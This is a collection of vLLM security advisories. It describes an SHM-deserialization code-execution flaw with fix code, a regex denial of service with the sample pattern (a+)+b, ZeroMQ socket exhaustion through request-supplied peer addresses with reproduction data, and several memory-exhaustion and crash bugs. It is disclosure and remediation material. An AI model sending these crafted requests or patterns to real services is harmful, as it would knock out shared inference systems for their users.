An ordinary authenticated inference caller can execute arbitrary Python in the worker process on a deployment that uses SHM multimodal caching. The live proof used a benign marker gadget and also caused the EngineCore health endpoint to fall from 200 to 503 after the forged request. The exploit is reachable with VLLMALLOWINSECURESERIALIZATION=0; it abuses the built-in SHM object deserializer, not the separate optional msgpack ext-hook flag.
Suggested Fix
Authenticate every SHM carrier with a server-issued capability bound to the cache key, address, and monotonic id; rotate the capability secret when the cache is cleared; and reject malformed or forged SHM carriers at the public scale-out boundary before engine handoff — so a forged pair never reaches the worker deref / pickle.loads().
The sender emits an HMAC capability (keyed by a 32-byte secret stored in the ring buffer and rotated on clear()) over (cachekey, address, monotonicid) alongside the pair. The public scale-out path validates it before engine handoff:
python vllm/entrypoints/scaleout/tokenintokenout/serving.py cache = self.onlinerenderer.renderer.mmprocessorcache for mmhash, item in zip(hashes, items): decodeditem = decodemmkwargsitem(item) if item is not None else None if decodeditem is not None and cache is not None: # Rejects a forged (address, monotonicid) that lacks a valid # server-issued capability for this cache key. cache.validateinputitem(decodeditem, mmhash) decodeditems.append(decodeditem)
The worker get() re-checks the capability on the reader side before it ever dereferences the caller-supplied address:
python vllm/distributed/devicecommunicators/shmobjectstorage.py def get(self, address, monotonicid, capability=None, key=None): if not self.iswriter: # Reject forged handles before dereferencing the supplied address. self.validatecapability(key, address, monotonicid, capability) with self.ringbuffer.accessbuf(address) as (dataview, bufmetadata): self.validatemonotonicid(address, monotonicid, bufmetadata) obj = self.serde.deserialize(dataview[self.flagbytes :]) ...
where validatecapability recomputes the HMAC with hmac.comparedigest and raises Missing server-issued SHM capability for cache key. / Invalid server-issued SHM capability for cache key. on any mismatch. The fix applies cleanly to v0.25.1 and ships regression tests asserting the generate path rejects an invalid handle and that the receiver requires a matching sender handle (and a capability issued after the current clear()) for the cache key.
Credit
Reported by: Patch the Planet (Trail of Bits + OpenAI collaboration)
This vulnerability was discovered using GPT-5.5-Cyber as part of the Patch the Planet security initiative.
---
Proposed fix: a proposed change for this issue is up for review in this advisory's temporary private fork: https://github.com/vllm-project/vllm-ghsa-6757-hggm-hp2w/pull/1
This advisory was fixed in MR59357.
vLLM versions >= 0.10.2 and < 0.13.0 are missing sparse tensor validation in multimodal embeddings processing. Because PyTorch disables sparse tensor invariant checks by default, an attacker can submit crafted embedding requests with malformed (negative or out-of-bounds) tensor indices, when the prompt-embeds feature is enabled, to trigger crashes or resource exhaustion (denial of service), with potential for out-of-bounds/write-what-where memory corruption. This continues CVE-2025-62164, whose prior fix only disabled the feature by default rather than addressing the root cause.
Summary
The structuredoutputs.regex API parameter passes a user-supplied regex string directly to grammar compiler backends with no compilation timeout. In the xgrammar backend, the string reaches compileregex() with no guard. In the outlines backend, validateregexisbuildable() blocks structural issues (lookarounds, backreferences) but provides zero protection against exponential DFA state-space explosion. Patterns like (a+)+b pass all checks and hang the inference worker.
Root Cause
backendxgrammar.py:91 — no timeout: python ctx = self.compiler.compileregex(grammarspec)
backendoutlines.py:299–330 — structural checks only, no complexity analysis: python def validateregexisbuildable(regex: str) -> None: sreparse.parse(regex) # AST parse only — does not detect exponential patterns checkunsupported(...) # blocks lookarounds/backrefs, not nested quantifiers
backendoutlines.py:64 — no timeout: python oc.Index(regexstring, vocabulary.inner)
Impact
Denial of service — one request with an adversarial regex pattern hangs an inference worker indefinitely.
Remediation
Wrap compileregex() and oc.Index() calls in a thread with a deadline (e.g., 5 seconds). Add complexity analysis to validateregexisbuildable() to detect nested quantifier patterns before compilation.
vLLM through 0.29.0 fails to properly clean up decode-side metadata for rejected inference requests in prefill/decode disaggregated deployments. Remote attackers can submit requests with maxtokens=0 to exhaust decode-worker memory without bound until the worker restarts.
vLLM versions before 0.28.0 fail to validate the lower bound of token IDs in the /v1/embeddings and /pooling endpoints, allowing unauthenticated attackers to crash the engine by submitting negative token IDs. A single request with a negative token ID triggers a CUDA device-side assertion that poisons the GPU context, causing all subsequent requests to fail until the process restarts.
Summary
When the OffloadingConnector uses TieringOffloadingSpec with a P2P secondary tier, an API client can submit many unique non-listening peer addresses through kvtransferparams.prefill. vLLM keeps every never-established P2P session and its ZeroMQ sockets after the request finishes. On vLLM 0.26.0, 340 such peers filled the default ZeroMQ context socket quota; creating the next peer raised an uncaught ZMQError, terminated EngineCore, and shut down the API server. The path was reproduced with a normal API key and no access to the internal P2P listener.
Details
Root cause
In vLLM 0.26.0, P2PSecondaryTierManager.onnewrequest() reads the following request-controlled fields:
json { "kvtransferparams": { "prefill": { "kvrequestid": "id", "remotehost": "127.0.0.1", "remoteport": 49101 } } }
onnewrequest() calls getorcreatesession(peerid). This calls ZmqTransport.connect(), creates a P2PSession, and stores it in sessions before the asynchronous ZeroMQ connection has been established.
ZmqTransport.openconnection() creates a DEALER, enables a libzmq monitor, creates a PAIR socket for that monitor, calls dealer.connect(), and immediately stores the resulting ZmqConnection in connections. Returning from dealer.connect() does not prove that the peer is reachable.
The monitor subscribes only to zmq.EVENTDISCONNECTED. A peer that never accepts the initial connection produced EVENTCONNECTDELAYED, EVENTCONNECTRETRIED, and EVENTCLOSED, but no EVENTDISCONNECTED during a 60-second observation. The production monitor therefore never calls markdead(), and ZmqConnection.alive remains true.
Request completion calls session.finishrequest(), but does not close or remove the peer session. The manager reaps only a session for which session.connected and not session.alive is true. A never-established peer remains connected=True, alive=True, and ready=False. There is no establishment deadline, idle eviction, or limit on pending or total peers.
Each unique retained peer uses about three sockets in the same ZeroMQ context: the DEALER, the monitor endpoint created by libzmq, and the PAIR monitor client. With the measured default MAXSOCKETS=1023, 340 peers use approximately 1,020 sockets in addition to the local ROUTER. The next peer fails while creating its monitor PAIR. The exception escapes through onnewrequest() and the scheduler into the EngineCore loop:
text P2PSecondaryTierManager.getorcreatesession() -> ZmqTransport.connect() -> ZmqTransport.openconnection() -> monitorsock = self.zmqctx.socket(zmq.PAIR) -> zmq.error.ZMQError: Too many open files -> EngineDeadError
The process open-files limit was 65,536. The EngineCore had about 1,215 file descriptors at the failure point, so the failure was not the operating-system FD limit.
Boundary and controls
Each row below used a fresh vLLM process and pre-generated unique non-listening loopback ports.
| Test | Result | |---|---| | Default MAXSOCKETS=1023, 340 unique peers | 340 HTTP 200 responses; 340 active peers; service healthy | | Default limit, 344 unique peers, concurrency 4 | 340 HTTP 200 and 4 HTTP 500 responses; EngineCore and API exited | | Default limit, 344 unique peers, concurrency 1 | Same 340-peer ceiling and service exit | | Same endpoint repeated 512 times | 512 HTTP 200 responses; one active peer; service healthy | | 512 requests without P2P parameters | 512 HTTP 200 responses; no active peers; service healthy |
A diagnostic A/B changed only the context MAXSOCKETS value. Raising it from 1,023 to 2,048 moved the last fully successful point from 340 to 682 peers. The 683rd peer then raised the same ZMQError and terminated the service. The approximately 2.01x movement in the boundary identifies the ZeroMQ context quota as the exhausted resource.
The failure runs used logging-only instrumentation around openconnection() to record the context limit, peer count, and process FD count. It did not add or close any ZeroMQ socket and re-raised the original exception.
Related public work
PR #47843 is an open, unmerged proposal that identifies client-supplied P2P peer addresses as an SSRF risk and proposes API sanitization plus a configured peer allowlist. Those changes would block this public API trigger, but the PR does not add a connection deadline, session cleanup, or a capacity limit for never-established peers. This report adds the deterministic resource-exhaustion and service-exit impact of the retained state.
PR #49823 fixes cleanup and reconnection after a connection has been marked dead. A peer that never establishes does not receive the subscribed EVENTDISCONNECTED event, so it never enters that dead-state cleanup path.
Impact
This is uncontrolled resource consumption leading to denial of service. An attacker needs network access to an OpenAI-compatible inference endpoint and a normal API key when --api-key is enabled. The attacker does not need access to the internal P2P control or data ports and does not need any peer to answer.
Only deployments that explicitly enable OffloadingConnector, TieringOffloadingSpec, and a P2P secondary tier are affected. Repeating a cheap one-token request with unique non-listening endpoints steadily consumes scheduler and ZeroMQ resources. In the tested default context, about 341 requests were enough to terminate EngineCore and stop all inference on the instance until restart. Confidentiality and integrity were not affected; the demonstrated impact is availability loss.
This advisory was fixed in MR51504.
vLLM through 0.29.0 fails to validate the tpsize parameter in kvtransferparams on OpenAI-compatible completion endpoints, allowing attackers to allocate unbounded memory. Attackers can supply arbitrary tpsize values in prefill/decode disaggregated deployments to exhaust memory and trigger kernel OOM-kill of the decode worker process.
vLLM through 0.29.0 contains a denial of service vulnerability in the NIXL connector's prefix caching implementation that fails to properly validate block counts across multi-prompt completion requests in prefill/decode disaggregated deployments. Attackers can trigger an assertion failure in NixlBaseConnectorWorker.applyprefixcaching by submitting completion requests with multiple prompts of varying lengths, causing the decode worker to terminate and become unavailable until restarted.
vLLM Mooncake connector through 0.29.0 fails to properly manage GPU KV cache block ownership when concurrent child requests share a single transfer ID in prefill/decode disaggregated deployments. Attackers can trigger GPU memory exhaustion by submitting completion requests with multiple prompts, causing orphaned KV cache blocks to accumulate until process restart and eventually preventing legitimate requests from executing.
vLLM versions through 0.29.0 contain a denial of service vulnerability in the NIXL connector's metadata handling for prefill/decode disaggregated deployments. Attackers can send requests with incomplete kvtransferparams dictionary entries to trigger an uncaught KeyError in EngineCore scheduling, causing the decode engine to terminate and making all routed requests fail until manual restart.
Summary
API clients can supply arbitrary mmprocessorkwargs per request. vLLM forwards these values through the multimodal rendering and processing pipeline to Hugging Face and custom image/video processor constructors and calls. Resource-sensitive values such as image size, patch size, patch count, crop count, or frame count can therefore be controlled by a remote client.
For processors that upscale inputs, a single request can force an allocation large enough to terminate the API server or worker with an out-of-memory condition.
Affected Components
The per-request field was introduced in commit 041e29471671a3d43afedb6a749421d56ef4d3e7 and first shipped in v0.7.3. The generic forwarding path remains present in current main.
The Isaac path is a concrete high-amplification example:
- ChatCompletionRequest.mmprocessorkwargs - OnlineRenderer request extras - MMProcessorInputs.hfprocessormmkwargs - BaseMultiModalProcessor.info.gethfprocessor(hfprocessormmkwargs) - IsaacProcessingInfo.getimageprocessor(kwargs) - IsaacImageProcessor(kwargs) - processvisionforpatches()
Equivalent constructor forwarding exists in InternVL-derived processors, H2OVL, Step3VL, NemotronVL, and other multimodal processors. The issue is at the shared remote-input boundary and is not limited to a fixed model list.
Impact
- Availability: one request can exhaust CPU or GPU memory and terminate a shared service process. - Scope: all users of the affected service instance lose availability. - Authentication: vLLM's API key is optional, so deployments without an external authentication layer are remotely reachable without privileges.
Remediation
Reject non-empty per-request mmprocessorkwargs at every API-server request schema by default. Operators serving only trusted clients can explicitly opt in to the existing override behavior. Server-level --mm-processor-kwargs and offline LLM overrides remain available.
This shared boundary covers current and future multimodal processors instead of maintaining a model-specific list or a denylist that can miss custom processor arguments.
A patch for this was merged here: https://github.com/vllm-project/vllm/pull/58830
vLLM after 0.24.0 and before 0.31.0 contains a memory exhaustion vulnerability in MOSS-Audio model serving that caches a processor for every distinct request-controlled mmprocessorkwargs value in an unbounded dictionary. Unauthenticated attackers can send distinct or oversized melconfig values to the /tokenize endpoint, which bypasses --api-key, to exhaust host memory and crash the API process.
vLLM from 0.10.2 before 0.25.0 contains an uncontrolled resource consumption vulnerability that allows unauthenticated attackers to exhaust memory because the Nemotron-VL processors globally set Image.MAXIMAGEPIXELS to None. Attackers can submit a pathological decompression-bomb image to /v1/chat/completions to OOM-kill the worker and deny service to co-tenants.
vLLM from 0.18.0 before 0.31.0 contains a resource exhaustion vulnerability that allows API clients to bypass the video/jpeg frame-count cap by overriding numframes through mediaiokwargs. Attackers can set numframes to -1 with a large inline video so VideoMediaIO.loadbase64 decodes every frame, exhausting memory and crashing the API frontend.